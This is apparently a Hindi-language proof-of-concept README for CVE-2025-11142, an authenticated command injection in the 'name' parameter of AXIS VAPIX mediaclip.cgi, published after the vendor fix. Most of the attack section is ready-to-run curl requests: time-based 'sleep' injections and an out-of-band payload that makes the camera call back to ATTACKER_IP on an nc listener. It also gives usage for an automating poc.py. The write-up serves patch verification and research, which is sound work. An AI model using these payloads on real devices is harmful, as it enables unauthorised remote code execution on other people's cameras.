
CVE-2025-11142 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी विश्लेषण, जो AXIS VAPIX mediaclip.cgi में एक प्रमाणित OS कमांड इंजेक्शन है, जिसमें समय-आधारित और आउट-ऑफ-बैंड सत्यापन विधियाँ शामिल हैं।
mediaclip.cgi OS कमांड इंजेक्शनn-day शोध लेख एवं PoC — CVSS 7.1 OS कमांड इंजेक्शन भेद्यता का पोस्ट-पैच तकनीकी विश्लेषण, जो AXIS VAPIX Media Clip API में है, जिसे स्वतंत्र रूप से पुनः खोजा गया और Axis डिवाइस के विरुद्ध ब्लैक-बॉक्स परीक्षण के माध्यम से सत्यापित किया गया।
Axis का आधिकारिक परामर्श तकनीकी शोषण विवरण या सार्वजनिक PoC प्रकाशित नहीं करता है ("Axis भेद्यता के बारे में अधिक विस्तृत जानकारी प्रदान नहीं करेगा", परामर्श के प्रकाशन के समय "सार्वजनिक रूप से कोई ज्ञात शोषण मौजूद नहीं है")। यह रिपॉजिटरी एक स्वतंत्र रूप से पुनरुत्पादित, साक्ष्य-आधारित पुष्टि का दस्तावेजीकरण करती है, जो विक्रेता फिक्स (AXIS OS 12.7.36) के सामान्य रूप से उपलब्ध होने के बाद ही प्रकाशित की गई है। देखें Disclosure Timeline।
| CVE ID | CVE-2025-11142 |
| CWE | CWE-78 (OS कमांड इंजेक्शन) |
| CVSS | 7.1 (उच्च) |
| प्रभावित | AXIS OS 12.6.54 – 12.7.35 |
| फिक्स किया गया | AXIS OS 12.7.36 (Active track) |
| विक्रेता परामर्श | https://www.axis.com/dam/public/18/0e/90/cve-2025-11142pdf-en-US-519291.pdf |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-11142 |
| आवश्यक विशेषाधिकार | प्रमाणित ऑपरेटर/एडमिन (VAPIX HTTP Digest auth) |
| यहाँ सत्यापित प्रभाव | निम्न-विशेषाधिकार वाले सेवा खाते के रूप में मनमाना OS कमांड निष्पादन (रूट नहीं) |
/axis-cgi/mediaclip.cgi VAPIX एंडपॉइंट action=update अनुरोध को स्वीकार करता है जिसमें एक
फ्री-टेक्स्ट name पैरामीटर (क्लिप का प्रदर्शन नाम) होता है। ब्लैक-बॉक्स परीक्षण से पता चलता है कि यह मान
डिवाइस पर शेल इनवोकेशन में, बिना सैनिटाइज़ किए, पारित किया जाता है — सबसे अधिक संभावना मीडिया क्लिप सबसिस्टम के लिए
आंतरिक फ़ाइल-रीनेम/प्रोसेसिंग चरण के भाग के रूप में।
कोई सार्वजनिक तकनीकी लेख सटीक सर्वर-साइड कोड पथ का वर्णन नहीं करता है (Axis ने कोई प्रकाशित नहीं किया है), इसलिए नीचे दिया गया मूल कारण ब्लैक-बॉक्स व्यवहार से अनुमानित है, स्रोत समीक्षा से नहीं।
सभी अनुरोध HTTP Digest प्रमाणीकरण का उपयोग करते हैं (डिवाइस Basic auth को अस्वीकार करता है)। अपने लैब डिवाइस के मानों से
TARGET, USER, और PASS को बदलें — उदाहरण क्रेडेंशियल्स का उपयोग उस डिवाइस के विरुद्ध न करें जिसके आप स्वामी नहीं हैं या जिसे परीक्षण करने के लिए आप अधिकृत नहीं हैं।
update क्रिया के लिए एक मौजूदा क्लिप की आवश्यकता होती है। यदि क्लिप 0 अभी तक मौजूद नहीं है, तो पहले एक
छोटा, हानिरहित प्लेसहोल्डर अपलोड करें:
curl -s --digest -u "$USER:$PASS" --anyauth \
-X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
-F "[email protected];type=audio/wav"
poc.wav के लिए कोई भी छोटी मान्य WAV फ़ाइल काम करती है (एक न्यूनतम RIFF/WAVE हेडर पर्याप्त है)।
# बेसलाइन / नियंत्रण — कोई इंजेक्टेड देरी नहीं
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 0;"
# इंजेक्टेड 8-सेकंड देरी
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 8;"
एक प्रतिक्रिया समय जो इंजेक्टेड sleep अवधि को ट्रैक करता है (~0.3s बेसलाइन के बजाय)
पुष्टि करता है कि शेल पूरे name मान को निष्पादित कर रहा है, न कि इसे केवल एक निष्क्रिय
स्ट्रिंग के रूप में मान रहा है। इसे कई, स्वतंत्र रूप से स्केल किए गए विलंबों (0s / 3s / 6s / 8s)
और कई इंजेक्शन सिंटैक्स (;, &&, बैकटिक्स, $(...)) के साथ सत्यापित किया गया ताकि संयोग को खारिज किया जा सके।
क्योंकि HTTP प्रतिक्रिया बॉडी कभी भी कमांड आउटपुट को प्रतिध्वनित नहीं करती है (पेलोड के बावजूद OK / Updating=0),
सबसे ठोस पुष्टि डिवाइस की अपनी आउटबाउंड नेटवर्क क्षमता का उपयोग करती है। हमलावर-नियंत्रित होस्ट पर एक लिसनर शुरू करें और इंजेक्टेड कमांड को उस पर कॉलबैक करें:
# हमलावर होस्ट पर:
nc -lvnp 4444
# इंजेक्टेड पेलोड:
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"
लक्ष्य डिवाइस के IP पते से एक वास्तविक इनबाउंड HTTP अनुरोध, जिसमें curl User-Agent स्ट्रिंग शामिल है,
रिमोट कोड निष्पादन का स्पष्ट प्रमाण है — अनुरोध केवल उस कमांड से उत्पन्न हो सकता है जो वास्तव में डिवाइस पर चला।
curl -s --digest -u "$USER:$PASS" --anyauth "http://$TARGET/axis-cgi/mediaclip.cgi?action=remove&clip=0"
poc.pypoc.py देखें — एक स्व-निहित स्क्रिप्ट जो आपके द्वारा कमांड लाइन पर निर्दिष्ट लक्ष्य के विरुद्ध चरण 1–4 को स्वचालित करती है।
usage: poc.py --target 192.168.1.100 --user admin --pass admin --callback-ip 192.168.1.50 [--callback-port 4444]
mediaclip.cgi में कमांड इंजेक्शन) से परे कोई 0-day विवरण प्रकट नहीं किया गया है जिसे Axis ने पहले से पुष्टि नहीं की है।यह कोड केवल अधिकृत सुरक्षा परीक्षण, सुरक्षा अनुसंधान और रक्षात्मक उद्देश्यों के लिए प्रदान किया गया है (जैसे, यह सत्यापित करना कि आपका अपना फ्लीट पैच किया गया है, पहचान सिग्नेचर बनाना)। उन डिवाइसों के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानते हैं।
MIT — देखें LICENSE।